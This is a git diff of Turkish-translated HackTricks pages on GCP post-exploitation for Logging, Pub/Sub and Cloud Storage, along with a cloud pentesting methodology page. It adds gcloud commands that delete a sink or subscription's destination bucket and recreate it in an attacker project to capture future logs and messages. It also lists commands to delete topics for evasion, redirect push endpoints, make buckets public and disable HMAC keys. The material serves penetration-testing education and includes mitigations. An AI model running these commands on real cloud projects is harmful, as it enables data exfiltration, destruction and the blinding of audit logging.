Bu, ele geçirilmiş principal'ın `storage.buckets.delete`, `storage.objects.delete` ve `storage.objects.list` gibi destructive storage permissions'a sahip olduğu, ancak `logging.sinks.update` yetkisine sahip olmadığı durumlarda kullanışlıdır.
|
||||
```bash
|
||||
# Find sinks that export to Cloud Storage
|
||||
gcloud logging sinks list --project <PROJECT_ID> \
|
||||
--format='table(name,destination,disabled,writerIdentity)'
|
||||
|
||||
# Empty and delete the destination bucket, if permitted
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
|
||||
# Recreate the same bucket name in the attacker-controlled project
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
|
||||
# Allow the sink writer identity to write objects into the replacement bucket
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Olası Etki:** sessiz uzun vadeli gelecekteki audit logs, application logs, security telemetry ve sink filter ile eşleşen diğer tüm events için exfiltration.
|
||||
|
||||
**Detection & Mitigation:** aktif sinks tarafından referans verilen buckets silinmesi üzerinde alert oluşturun, sink destinations için dangling bucket names envanteri çıkarın, logging destinations üzerinde `storage.buckets.delete` işlemini kısıtlayın ve mümkün olduğunda export buckets’ı retention/hold controls ile koruyun.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-24
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:
|
||||
Pub/Sub hakkında daha fazla bilgi için şu sayfaya bakın:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,11 +12,11 @@ Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Bir topic'e mesaj yayınlar; beklenmeyen verileri **göndermek** ve beklenmeyen işlevleri tetiklemek veya zafiyetleri suistimal etmek için kullanışlıdır:
|
||||
Bir topic içinde mesaj yayınla, **beklenmedik veri göndermek** ve beklenmedik işlevleri tetiklemek ya da vulnerabilities exploit etmek için kullanışlıdır:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Topic'e mesaj yayınla</summary>
|
||||
<summary>Publish message to topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Bir subscription'ın mesaj almasını engellemek için kullanışlı; belki tespiti önlemek amacıyla.
|
||||
Bir aboneliğin mesaj almasını engellemek için kullanışlıdır; belki tespitten kaçınmak için.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Konudan subscription'ı ayır</summary>
|
||||
<summary>Aboneliği konudan ayır</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Bir aboneliğin mesaj almasını engellemek için kullanışlıdır, muhtemelen tespiti önlemek amacıyla.\
|
||||
Abonelikler bağlı olsa bile bir konuyu silmek mümkündür.
|
||||
Bir subscription’ın mesaj almasını engellemek için kullanışlıdır, belki tespitten kaçınmak için.\
|
||||
Bağlı subscriptions olsa bile bir topic’i silmek mümkündür.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Konuyu sil</summary>
|
||||
<summary>Delete topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Bu izni, topic'in bazı ayarlarını değiştirerek onu bozmak için kullanın; örneğin `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Bu izni, topic’in bazı ayarlarını bozmak için güncellemek amacıyla kullanın; örneğin `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Kendinize önceki saldırıları gerçekleştirme izni verin.
|
||||
Önceki saldırıların herhangi birini gerçekleştirmek için kendinize izin verin.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
|
||||
```
|
||||
</details>
|
||||
|
||||
Bir abonelik oluşturun ve bunu **mesajları çekmek** için kullanın:
|
||||
Bir subscription oluşturun ve bunu **pull messages** almak için kullanın:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pull aboneliği oluşturun ve mesajları çekin</summary>
|
||||
<summary>Create pull subscription and retrieve messages</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Aboneliği silmek**, örneğin bir günlük işleme sistemini ya da benzer bir hizmeti aksatmak için faydalı olabilir:
|
||||
**Bir subscription silmek** bir log işleme sistemini veya benzer bir şeyi bozmak için faydalı olabilir:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aboneliği sil</summary>
|
||||
<summary>Delete subscription</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Bu izni, mesajların erişebileceğiniz bir yere (URL, Big Query table, Bucket) kaydedilmesini sağlayacak bir ayarı güncellemek veya sadece aksatmak için kullanın.
|
||||
Bu permission'ı, mesajların erişebileceğiniz bir yerde (URL, Big Query table, Bucket) saklanmasını sağlamak için bazı ayarları güncellemek ya da sadece bozmak için kullanın.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Abonelik uç noktasını güncelle</summary>
|
||||
<summary>Update subscription endpoint</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
|
||||
|
||||
Pub/Sub subscriptions, iletilen mesajları Cloud Storage bucket'larına yazabilir. Eğer bir subscription `gs://<bucket-name>` adresini işaret etmeye devam ediyorsa ve bir attacker bu bucket'ı silebiliyorsa, attacker aynı global olarak benzersiz bucket adını başka bir project içinde yeniden oluşturabilir ve subscription'ı değiştirmeden gelecekteki mesajları alabilir.
|
||||
|
||||
Bu, attacker `pubsub.subscriptions.update` kullanamadığında değerli olabilir; ancak `storage.buckets.delete`, `storage.objects.delete` ve `storage.objects.list` gibi permissions ile hedef bucket'ı silebiliyorsa kullanılabilir.
|
||||
```bash
|
||||
# Find Cloud Storage subscriptions and their destinations
|
||||
gcloud pubsub subscriptions list --project <PROJECT_ID> \
|
||||
--format='json(name,topic,cloudStorageConfig)'
|
||||
|
||||
# Empty and delete the destination bucket
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
|
||||
# Recreate the same bucket name under attacker control
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
|
||||
# Grant the Pub/Sub service agent write access if delivery requires it
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
|
||||
--role='roles/storage.legacyBucketReader' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Potential Impact:** Cloud Storage’a arşivlenen gelecekteki Pub/Sub mesajlarının exfiltration edilmesi; buna application events, failed pipeline payloads, logs veya data lake ingestion records dahildir.
|
||||
|
||||
**Detection & Mitigation:** Pub/Sub subscriptions tarafından kullanılan bucket’ların silinmesi için alert oluşturun, `cloudStorageConfig` içeren subscriptions’ları gözden geçirin, bucket recreation ile takip edilen delivery errors’ları izleyin ve message archival bucket’ları üzerindeki destructive access’i sınırlandırın.
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Daha önce bahsedilen saldırıları gerçekleştirmek için gereken izinleri kendinize verin.
|
||||
Daha önce yorumlanan saldırılardan herhangi birini gerçekleştirmek için gerekli permissions’ları kendinize verin.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Bir schema'yı bir topic'e iliştirerek mesajların şemaya uymamasını sağlayın ve böylece topic'in aksamasına neden olun.\
|
||||
Bir schema’yı bir topic’e attack edin, böylece messages onu karşılamaz ve bu nedenle topic disrupted olur.\
|
||||
Eğer herhangi bir schema yoksa, bir tane oluşturmanız gerekebilir.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schema dosyası oluşturup topic'e ekle</summary>
|
||||
<summary>Create schema file and attach to topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Bu, bir şemayı silmenin şemaya uymayan mesajları gönderebilmenizi sağlayacakmış gibi görünebilir. Ancak şema silineceği için hiçbir mesaj aslında topic'e girmeyecektir. Yani bu **İŞE YARAMAZ**:
|
||||
Bu, bir schema'yı silerek schema ile uyumlu olmayan mesajlar gönderebileceğiniz gibi görünebilir. Ancak schema silineceği için aslında hiçbir mesaj topic içine giremeyecektir. Bu yüzden bu **USELESS**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Şemayı sil (kullanışsız)</summary>
|
||||
<summary>Delete schema (not useful)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Daha önce bahsedilen attacks'ları gerçekleştirmek için gereken izinleri kendinize verin.
|
||||
Daha önce yorumlanan saldırılardan herhangi birini gerçekleştirmek için gereken izinleri kendinize verin.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Bu, tüm unACKed mesajların bir snapshot'ını oluşturur ve bunları subscription'a geri koyar. Bir attacker için çok kullanışlı değil ama işte:
|
||||
Bu, ACK edilmemiş tüm mesajların bir snapshot'unu oluşturur ve bunları yeniden subscription'a geri koyar. Bir attacker için pek kullanışlı değil ama burada şöyle:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Snapshot oluştur ve ona seek yap</summary>
|
||||
<summary>Create snapshot and seek to it</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
+44
-12
@@ -4,15 +4,15 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Cloud Storage hakkında daha fazla bilgi için bu sayfaya bakın:
|
||||
Cloud Storage hakkında daha fazla bilgi için bu sayfayı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Herkese Açık Erişim Verme
|
||||
### Give Public Access
|
||||
|
||||
Dış kullanıcılara (GCP'ye giriş yapmış olsunlar ya da olmasınlar) bucket içeriğine erişim vermek mümkündür. Ancak, varsayılan olarak bucket'ların herkese açık şekilde açılma seçeneği devre dışı bırakılmıştır:
|
||||
External users'a (GCP'de oturum açmış olsun olmasın) bucket içeriğine erişim vermek mümkündür. Ancak varsayılan olarak bucket, bir bucket'ı herkese açık şekilde expose etme seçeneğini disabled olarak gelir:
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
Eğer **ACLs devre dışı bırakılmış bir bucket'a ACLs vermeye** çalışırsanız şu hatayı alırsınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
Eğer **ACL'leri devre dışı bırakılmış bir bucket'a ACL vermeye** çalışırsanız şu hatayı alırsınız: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Açık bucket'lara tarayıcı üzerinden erişmek için şu URL'leri kullanın: `https://<bucket_name>.storage.googleapis.com/` veya `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
Açık bucket'lara browser üzerinden erişmek için şu URL'yi açın: `https://<bucket_name>.storage.googleapis.com/` veya `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
### `storage.objects.delete` (`storage.objects.get`)
|
||||
|
||||
Bir nesneyi silmek için:
|
||||
Bir object'i silmek için:
|
||||
```bash
|
||||
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
@@ -41,9 +41,41 @@ Bir bucket'ı silmek için:
|
||||
```bash
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
```
|
||||
### HMAC Keys'leri Devre Dışı Bırak
|
||||
### Upstream writer'ların global bucket name takeover'ı
|
||||
|
||||
`storage.hmacKeys.update` izni HMAC Keys'leri devre dışı bırakmaya izin verir, `storage.hmacKeys.delete` izni ise bir identity'nin Cloud Storage içindeki service accounts ile ilişkili HMAC Keys'leri silmesine izin verir.
|
||||
Cloud Storage bucket name'leri global olarak benzersizdir. Bir bucket'ı silmeden önce, herhangi bir automated service'in o bucket'a name ile yazmaya devam edip etmediğini kontrol edin. Eğer bucket silinir ve aynı name saldırganın kontrolündeki bir project içinde yeniden oluşturulursa, Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions veya Storage Transfer Service jobs gibi upstream writer'lar gelecekteki data'yı replacement bucket'a yazmaya devam edebilir.
|
||||
```bash
|
||||
# Cloud Logging sinks using GCS
|
||||
gcloud logging sinks list --project <PROJECT_ID> \
|
||||
--format='table(name,destination,writerIdentity)'
|
||||
|
||||
# Pub/Sub subscriptions writing messages into GCS
|
||||
gcloud pubsub subscriptions list --project <PROJECT_ID> \
|
||||
--format='json(name,topic,cloudStorageConfig)'
|
||||
|
||||
# Storage Transfer Service jobs
|
||||
gcloud transfer jobs list --project <PROJECT_ID>
|
||||
|
||||
# Delete and reclaim the destination bucket name
|
||||
gcloud storage rm -r gs://<BUCKET_NAME>
|
||||
gcloud storage buckets create gs://<BUCKET_NAME> \
|
||||
--project <ATTACKER_PROJECT_ID> \
|
||||
--location <LOCATION>
|
||||
```
|
||||
Üst hizmet bunu gerektiriyorsa, uygun writer identity erişimini replacement bucket'a verin:
|
||||
```bash
|
||||
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
|
||||
--member='<WRITER_IDENTITY_MEMBER>' \
|
||||
--role='roles/storage.objectCreator' \
|
||||
--project <ATTACKER_PROJECT_ID>
|
||||
```
|
||||
**Potential Impact:** router kaynağını değiştirmeden, logs, messages, transfer outputs, backups veya data pipeline artifacts üzerinde uzun süreli exfiltration.
|
||||
|
||||
**Detection & Mitigation:** bucket silmeyi, bucket sinks/subscriptions/jobs tarafından referans alındığında high risk olarak değerlendirin, dangling destinations için alert oluşturun, `storage.buckets.delete` iznini kısıtlayın ve uygun olduğunda kritik export bucket’lar için retention policies veya legal holds kullanın.
|
||||
|
||||
### HMAC Keys Devre Dışı Bırakma
|
||||
|
||||
`storage.hmacKeys.update` izni, HMAC keys devre dışı bırakmayı sağlar ve `storage.hmacKeys.delete` izni, bir identity’nin Cloud Storage içindeki service accounts ile ilişkili HMAC keys’i silmesine izin verir.
|
||||
```bash
|
||||
# Deactivate
|
||||
gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
@@ -52,19 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
|
||||
gcloud storage hmac delete <ACCESS_ID>
|
||||
```
|
||||
### `storage.buckets.setIpFilter` & `storage.buckets.update`
|
||||
`storage.buckets.setIpFilter` izni, `storage.buckets.update` izniyle birlikte, bir Cloud Storage bucket'ında IP adresi filtreleri yapılandırarak hangi IP aralıklarının veya adreslerinin bucket'ın kaynaklarına erişebileceğini belirlemeye olanak tanır.
|
||||
`storage.buckets.setIpFilter` izni, `storage.buckets.update` izniyle birlikte, bir kimliğin Cloud Storage bucket’ı üzerinde IP adresi filtreleri yapılandırmasına izin verir; böylece bucket’ın kaynaklarına hangi IP aralıklarının veya adreslerinin erişebileceği belirtilebilir.
|
||||
|
||||
IP filtresini tamamen temizlemek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
Filtrelenen IP'leri değiştirmek için aşağıdaki komut kullanılabilir:
|
||||
Filtrelenen IP’leri değiştirmek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
gcloud storage buckets update gs://<BUCKET_NAME> \
|
||||
--ip-filter-file=ip-filter.json \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
JSON dosyası filtrenin kendisini temsil eder, şöyle bir şey:
|
||||
JSON dosyası filtrenin kendisini temsil eder, aşağıdaki gibi:
|
||||
```bash
|
||||
{
|
||||
"mode": "Enabled",
|
||||
@@ -76,7 +108,7 @@ JSON dosyası filtrenin kendisini temsil eder, şöyle bir şey:
|
||||
}
|
||||
```
|
||||
### `storage.buckets.restore`
|
||||
Bir bucket'ı geri yüklemek için kullanın:
|
||||
Bir bucket'ı şu şekilde restore edin:
|
||||
```bash
|
||||
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting Cloud Metodolojisi
|
||||
# Pentesting Cloud Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,39 +6,65 @@
|
||||
|
||||
## Temel Metodoloji
|
||||
|
||||
Her bulutun kendine ait özellikleri vardır fakat genel olarak bir pentester'ın bir cloud ortamını test ederken kontrol etmesi gereken birkaç ortak şey vardır:
|
||||
Her cloud’un kendine özgü yanları vardır ama genel olarak bir cloud ortamını test ederken bir pentester’ın kontrol etmesi gereken birkaç **ortak şey** vardır:
|
||||
|
||||
- **Benchmark kontrolleri**
|
||||
- Bu, ortamın büyüklüğünü ve kullanılan servisleri **anlamanıza** yardımcı olur
|
||||
- Ayrıca çoğu testi **otomatik araçlarla** gerçekleştirebileceğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar
|
||||
- **Benchmark checks**
|
||||
- Bu, ortamın **boyutunu** ve **kullanılan services**i anlamanıza yardımcı olur
|
||||
- Ayrıca, bu testlerin çoğunu **automated tools** ile yapabileceğiniz için bazı **quick misconfigurations** bulmanızı sağlar
|
||||
- **Services Enumeration**
|
||||
- Eğer benchmark testlerini doğru yaptıysanız burada muhtemelen çok daha fazla yanlış yapılandırma bulamazsınız, ancak benchmark testinde aranmayan bazı şeyleri bulabilirsiniz.
|
||||
- Bu, cloud ortamında **tam olarak nelerin kullanıldığını** bilmenizi sağlar
|
||||
- Bir sonraki adımlarda çok yardımcı olur
|
||||
- Benchmark testlerini doğru yaptıysanız burada muhtemelen çok daha fazla misconfiguration bulamazsınız, ancak benchmark testinde bakılmayan bazılarını bulabilirsiniz.
|
||||
- Bu, cloud ortamında **tam olarak neyin kullanıldığını** bilmenizi sağlar
|
||||
- Bu, sonraki adımlarda çok yardımcı olur
|
||||
- **Check exposed assets**
|
||||
- Bu, önceki bölüm sırasında yapılabilir; İnternete bir şekilde potansiyel olarak **açık olan her şeyi** ve bunun nasıl erişildiğini bulmanız gerekir.
|
||||
- Burada manuel olarak **açığa çıkarılan altyapıyı** (web sayfası olan instance'lar veya diğer portların açık olduğu örnekler gibi) ve ayrıca **açılacak şekilde yapılandırılabilen diğer cloud yönetimli servisleri** (ör. DBs veya buckets) ele alıyorum
|
||||
- Sonra bu kaynağın **açık olup olmadığını kontrol etmelisiniz** (gizli bilgi? zafiyetler? açığa çıkmış serviste yanlış yapılandırmalar?)
|
||||
- Bu, önceki bölüm sırasında da yapılabilir; bir şekilde Internet’e potansiyel olarak açık olan her şeyi ve buna nasıl erişilebileceğini **ortaya çıkarmanız** gerekir.
|
||||
- Burada web sayfaları ya da başka portlar üzerinden açık olan instance’lar gibi **manuel olarak exposed infrastructure**’ı ve ayrıca exposed olacak şekilde yapılandırılabilen diğer **cloud managed services**’i (DBs veya buckets gibi) kastediyorum
|
||||
- Ardından, **o resource’un expose edilip edilemeyeceğini** kontrol etmelisiniz (confidential information? vulnerabilities? exposed service içindeki misconfigurations?)
|
||||
- **Check permissions**
|
||||
- Burada cloud içindeki her rol/kullanıcının **tüm izinlerini** ve bunların nasıl kullanıldığını bulmalısınız
|
||||
- Çok **fazla yüksek ayrıcalıklı** (her şeyi kontrol eden) hesap var mı? Oluşturulmuş anahtarlar kullanılmıyor mu?… Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalı
|
||||
- Eğer müşteri OpenID veya SAML veya başka bir **federation** kullanıyorsa, her rolün **nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı şey değildir)
|
||||
- Sadece hangi kullanıcıların **admin** izinlerine "\*:\*" sahip olduğunu bulmak **yeterli değildir**. Kullanılan servislere bağlı olarak çok **duyarlı** olabilecek birçok **diğer izin** vardır.
|
||||
- Dahası, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu durumlar dikkate alınmalı ve mümkün olduğunca fazla privesc yolu raporlanmalıdır.
|
||||
- Burada cloud içindeki her role/user’ın tüm permissions’larını ve bunların nasıl kullanıldığını **ortaya çıkarmanız** gerekir
|
||||
- **Aşırı sayıda highly privileged** (her şeyi kontrol eden) account var mı? Üretilmiş ama kullanılmayan keys?... Bu kontrollerin çoğu benchmark testlerinde zaten yapılmış olmalıydı
|
||||
- Client OpenID veya SAML ya da başka bir **federation** kullanıyorsa, size **her role’ün nasıl atandığı** hakkında ek **information** sormanız gerekebilir (admin role’ün 1 user’a mı yoksa 100 user’a mı atandığı aynı şey değildir)
|
||||
- Hangi user’ların **admin** permissions "\*:\*" sahibi olduğunu bulmak **yeterli değildir**. Kullanılan services’e bağlı olarak çok **sensitive** olabilecek başka birçok **permission** vardır.
|
||||
- Ayrıca, permissions’ı kötüye kullanarak izlenebilecek potansiyel privesc yolları vardır. Tüm bunlar dikkate alınmalı ve mümkün olduğunca çok **privesc path** raporlanmalıdır.
|
||||
- **Check Integrations**
|
||||
- Cloud ortamında muhtemelen **başka cloud'lar veya SaaS ile entegrasyonlar** kullanılıyordur.
|
||||
- Denetlediğiniz cloud'un başka platformlarla olan **integrations**ı için, bu entegrasyonu kimlerin (kötüye) kullanabildiğini bildirmeniz ve gerçekleştirilen eylemin ne kadar **hassas** olduğunu sormanız gerekir.\
|
||||
Örneğin, GCP'nin veri aldığı bir AWS bucket'ına kim yazabiliyor (GCP'de o veriyi işlemenin ne kadar hassas olduğunu sorun).
|
||||
- Denetlediğiniz cloud içindeki entegrasyonlar dış platformlardan geliyorsa, bu entegrasyonu harici olarak kimlerin (kötüye) kullanabildiğini sormalı ve verinin nasıl kullanıldığını kontrol etmelisiniz.\
|
||||
Örneğin, bir servis GCR'de barındırılan bir Docker imajı kullanıyorsa, bu imajı kimlerin değiştirebildiğini ve imaj çalıştırıldığında hangi hassas bilgilerin ve erişimlerin elde edileceğini sormalısınız.
|
||||
- Cloud ortamında büyük olasılıkla başka clouds veya SaaS ile **integrations** kullanılıyordur.
|
||||
- Audit ettiğiniz cloud’un başka platformlarla **integrations**’ı için, o integration’ı **kimlerin erişip (ab)use edebileceğini** belirtmelisiniz ve yapılan işlemin ne kadar **sensitive** olduğunu sormalısınız.\
|
||||
Örneğin, GCP’nin veri aldığı bir AWS bucket’ına kim yazabilir (o veriyi işlerken GCP’deki işlemin ne kadar sensitive olduğunu sorun).
|
||||
- Audit ettiğiniz cloud içindeki external platformlardan gelen **integrations** için, bu integration’ı **kimlerin dışarıdan erişip (ab)use edebileceğini** sormalısınız ve bu verinin nasıl kullanıldığını kontrol etmelisiniz.\
|
||||
Örneğin, bir service GCR’de barındırılan bir Docker image kullanıyorsa, onu değiştirmeye kimlerin erişimi olduğunu ve bu image AWS cloud içinde çalıştırıldığında hangi sensitive info ve access’i elde edeceğini sormalısınız.
|
||||
|
||||
### Hunt autonomous data streams writing to globally-unique storage
|
||||
|
||||
During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
|
||||
|
||||
Focus this check in the relevant service pages:
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Multi-Cloud tools
|
||||
|
||||
Farklı cloud ortamlarını test etmek için kullanılabilecek çeşitli araçlar vardır. Kurulum adımları ve bağlantılar bu bölümde belirtilecektir.
|
||||
Farklı cloud ortamlarını test etmek için kullanılabilecek birkaç araç vardır. Kurulum adımları ve linkler bu bölümde belirtilecektir.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Bir cloud'larda ve cloud/SaaS çapında **kötü yapılandırmaları ve privesc path'leri tespit etmek** için bir araçtır.
|
||||
Cloud’larda ve cloud’lar/SaaS arasında kötü yapılandırmaları ve privesc path’lerini **tespit etmek** için bir tool.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
**AWS, GCP & Azure**'yi destekler. Her sağlayıcıyı nasıl yapılandıracağınızı [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) adresinden kontrol edin.
|
||||
**AWS, GCP & Azure** destekler. Her sağlayıcıyı nasıl yapılandıracağınızı [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) adresinde kontrol edin
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -146,7 +172,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
Steampipe'i indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Veya Brew kullanın:
|
||||
Steampipe'ı indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ya da Brew kullanın:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -168,9 +194,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Tüm Projeleri Kontrol Et</summary>
|
||||
<summary>Tüm Projects'leri kontrol et</summary>
|
||||
|
||||
Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki script'teki yönergeleri takip edebilirsiniz.
|
||||
